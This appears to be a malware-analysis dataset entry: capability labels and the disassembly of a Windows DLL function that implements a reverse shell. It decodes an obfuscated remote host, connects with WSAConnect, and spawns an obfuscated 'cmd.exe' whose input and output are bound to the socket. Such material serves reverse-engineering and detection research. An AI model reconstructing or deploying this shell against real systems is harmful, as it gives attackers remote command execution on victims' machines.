Function at 0x180001010
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
mov r11, rsp
sub rsp, 0xe8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xd8], rax
sub ecx, 1
je 0x1800012db
mov qword [r11 - 8], rdi
sub ecx, 1
je 0x1800012a3
mov qword [r11 + 8], rbx
sub ecx, 1
je 0x180001210
sub ecx, 1
je 0x180001118
cmp ecx, 1
je 0x1800010a0
mov rax, qword [0x180005838]
mov qword [rax + 0x20], 0xffffffffffffffff
mov rbx, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.180001700
add rsp, 0xe8
ret
dec byte [str.2:3_279_1_7]
lea rcx, str.2:3_279_1_7
dec byte [0x180005089]
dec byte [0x18000508a]
dec byte [0x18000508b]
dec byte [0x18000508c]
dec byte [0x18000508d]
dec byte [0x18000508e]
dec byte [0x18000508f]
dec byte [0x180005090]
dec byte [0x180005091]
dec byte [0x180005092]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, qword [rax + 0x18]
mov rcx, qword [rdx]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, reloc.WS2_32.dll_inet_ntoa
lea rcx, str.2:3_279_1_7
mov r8, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
jmp 0x18000106c
mov rax, qword [0x180005840]
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rax
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xa0], rax
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x8c], 0x101
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x90], xmm0
cmp rax, 0xffffffffffffffff
jne 0x180001184
lea ecx, [rax + 5]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov eax, 0xffff
lea rdx, str.dne_fyf
add word [str.dne_fyf], ax
xor ebx, ebx
add word [0x18000507a], ax
xor r9d, r9d
add word [0x18000507c], ax
xor r8d, r8d
add word [0x18000507e], ax
xor ecx, ecx
add word [0x180005080], ax
add word [0x180005082], ax
add word [0x180005084], ax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x18000106c
lea ecx, [rbx + 5]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ebx, ebx
mov edi, 2
mov dword [rsp + 0x28], ebx
xor r9d, r9d
mov ecx, edi
mov dword [rsp + 0x20], ebx
lea edx, [rbx + 1]
lea r8d, [rbx + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 0x10]
mov rcx, rax
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [0x180005840], rax
lea rdx, [0x180005828]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WS2_32.dll_WSAConnect]
test eax, eax
je 0x180001293
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180001380
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
call fcn.180001530
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000106c
lea rcx, str.2:3_279_1_7
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, word [0x180005094]
mov dword [0x18000582c], eax
call qword [sym.imp.WS2_32.dll_htons]
mov edi, 2
mov word [0x18000582a], ax
mov word [0x180005828], di
jmp 0x180001074
mov ecx, 0x202
lea rdx, [0x180005690]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18000107c
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3